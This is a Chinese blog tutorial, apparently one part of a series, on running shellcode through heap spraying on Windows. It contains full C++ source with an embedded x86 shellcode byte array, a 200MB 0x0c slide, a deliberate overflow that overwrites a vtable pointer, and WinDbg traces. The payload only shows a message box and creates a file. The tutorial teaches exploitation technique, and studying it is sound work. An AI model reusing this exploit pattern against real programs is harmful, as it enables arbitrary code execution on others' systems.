windows:shellcode 遠程線程hook/注入(五)

        前面幾篇文章介紹了經過APC注入、進程注入、windows窗口處理函數回調、kernercallback回調執行shellcode,今天繼續介紹經過heap Spray(翻譯成中文叫堆噴射)執行shellcode的方法;html

        所謂堆噴射,本質上是在堆上分配空間,而後拷貝shellcode到這裏執行,思路和以前分享的驅動隱藏(http://www.javashuo.com/article/p-sqkkmuvy-nd.html)方法相似。不同的地方在於:這裏會申請大量空間(業界常見的是200M),填充0x0c(這就是所謂的slide code),而後在空間尾部拷貝shellcode;那麼問題來了:ios

  •   爲啥那麼要申請200M這麼大的空間?

   咱們的shellcode在該空間的尾部,從 「200M-shellcode開頭」  這段充滿0x0c代碼的任意地方開始執行最終都能順利「滑」shellcode執行,極大增長了shellcode被執行的機率。若是沒有slide code,那麼必須靳準控制eip挑戰到shellcode 的入口,增長了難度;shell

  •   爲啥用0x0c填充,而不是用其餘代碼填充?

       (1)0x0c的代碼是or al,0ch; 不會影響咱們的shellcode;  (2)0x0c0c0c0c處的數據被填充成了0c0c0c0c(後面會詳解);若是填充其餘數據,會致使程序跳轉到錯誤的地址,最終執行出錯;windows

        接下來解讀核心代碼;ide

  一、申請堆內存,填充0x0c,以下spray0:函數

 

   就是在這裏,由於spray+buflen遠大於0x0c0c0c0c,經過memset把0x0c0c0c0c的內容也改爲0x0c0c0c0c;spa

        新手注意:這些變量都是在函數內部生成的局部變量,自己在棧空間,函數一旦結束,空間會被釋放;但spray例外,其指向堆空間,0x0c和shellcode都被複制到了堆空間,函數結束後仍然存在,除非手動釋放,或則程序結束被操做系統回收;操作系統

        經過process hacker能查到0x0c成功寫入棧空間:.net

 

shellcode也寫入了:翻譯

 

內存也改爲可執行(這裏有個坑,後面會詳細解釋)

 

   二、覆蓋虛函數表

  (1)buflen和factoryObj都在棧空間,相距0x0c=12字節,因此MAGICCODE前面12字節是0,後面8字節纔是覆蓋factoryObj指針的內容;

  (2)另外一個坑:factory* factoryObj = new factory(); 單步調試這行代碼時老是出錯,windbg提示以下:

0:000:x86> p

(5a78.1780): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

ucrtbased!calloc_base+0xe5d:

7a90bfbd 894204          mov     dword ptr [edx+4],eax ds:002b:00f2f024=00000000

      從錯誤提示看,屬於Access violation,常見的c0000005類型錯誤,讀寫了不應讀寫的內存(3環exe程序常常會彈出c0000005類型的錯誤);從具體出錯的位置看,是mov     dword ptr [edx+4],eax這行代碼形成的,具體涉及的內存地址是ds:002b:00f2f024,那麼進一步看看這個地方都存了啥,以下:

       0:000:x86> dd 002b:00f2f024                                             

002b:00f2f024  00000000 00000000 00000000 00000001

002b:00f2f034  0c800000 00000047 fdfdfdfd 0c0c0c0c

002b:00f2f044  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f054  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f064  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f074  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f084  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f094  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

       下面的全是0c,看着好眼熟,這不就是本身填充的slide code麼? 這段內存不就是本身在spray0裏面經過new char申請的麼?當時爲了執行這段代碼,調用virtualProteced函數把內存屬性改爲了PAGE_EXECUTE, 可執行的問題是解決了,但還要覆蓋factoryObj指針了(factoryObj是new出來的,其對象也會被分配在堆空間),一樣須要讀寫權限,只給執行權限顯然是不夠的,同時也須要讀寫權限,因此在spray0裏面就要這樣改了:VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld),以下:

        

 

       繼續:單步執行完memcpy後,factoryObj被成功改成0c0c0c0c:

    

      繼續運行,成功執行shellcode:

       

       exe的目錄下也生成了1.txt文件

     

  注意:上面的截圖並非一次調試過程當中截取的,而是屢次,因此同一個變量的地址會不一樣,但並不影響最終的效果展現;

       完整代碼:

#include <iostream>

#include <windows.h>
#include <stdio.h>

#define MAGICCODE "000000000000\x0c\x0c\x0c\x0c"//bufLen和factoryObj之間間隔了0xc,因此這裏有12個0,從第13位開始才覆蓋factoryObj原值

class factory
{
    char m_buf[8] = {0};
public:
    factory() 
    {

    }

    virtual int factoryCreate1()
    {
        printf("%s\n", "factoryInit1");
        return 0;
    }
    virtual int factoryCreate2()
    {
        printf("%s\n", "factoryInit2");
        return 0;
    }
};

/*
*   溢出局部變量,並利用HeapSpray執行自定義的shellcode
*/

void spray1()
{
    factory* factoryObj = new factory();
    unsigned int bufLen = 0xffffffff;
    memcpy(&bufLen, MAGICCODE, sizeof(MAGICCODE) - 1);
    factoryObj->factoryCreate1();
    return;
}

/*
*   申請200M堆空間
*/

void spray0()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
    SIZE_T shellcodeSize = sizeof(buf);
    unsigned int bufLen = 200 * 1024 * 1024;
    DWORD dwOld = 0;
    char* spray = new char[bufLen];
    memset(spray, 0x0c, sizeof(char) * bufLen);
    //memset(spray + bufLen - 0x10, 0xcc, 0x10); //寫入自定義的shellcode,即0xcc
    memcpy(spray + bufLen - shellcodeSize+1, buf, shellcodeSize); //寫入自定義的shellcode,注意spray + bufLen - shellcodeSize+1地址對齊;
    //VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 設置堆內存可執行代碼
    VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld); // 設置堆內存可執行代碼
    return;
}


int main()
{
    spray0();
    spray1();
    return 0;
}

 

參考:

一、https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/getting-started-with-windbg  windbg用戶模式調試3環的exe

二、https://blog.csdn.net/lixiangminghate/article/details/53413863 

三、https://blog.csdn.net/andy7002/article/details/72834644

相關文章
相關標籤/搜索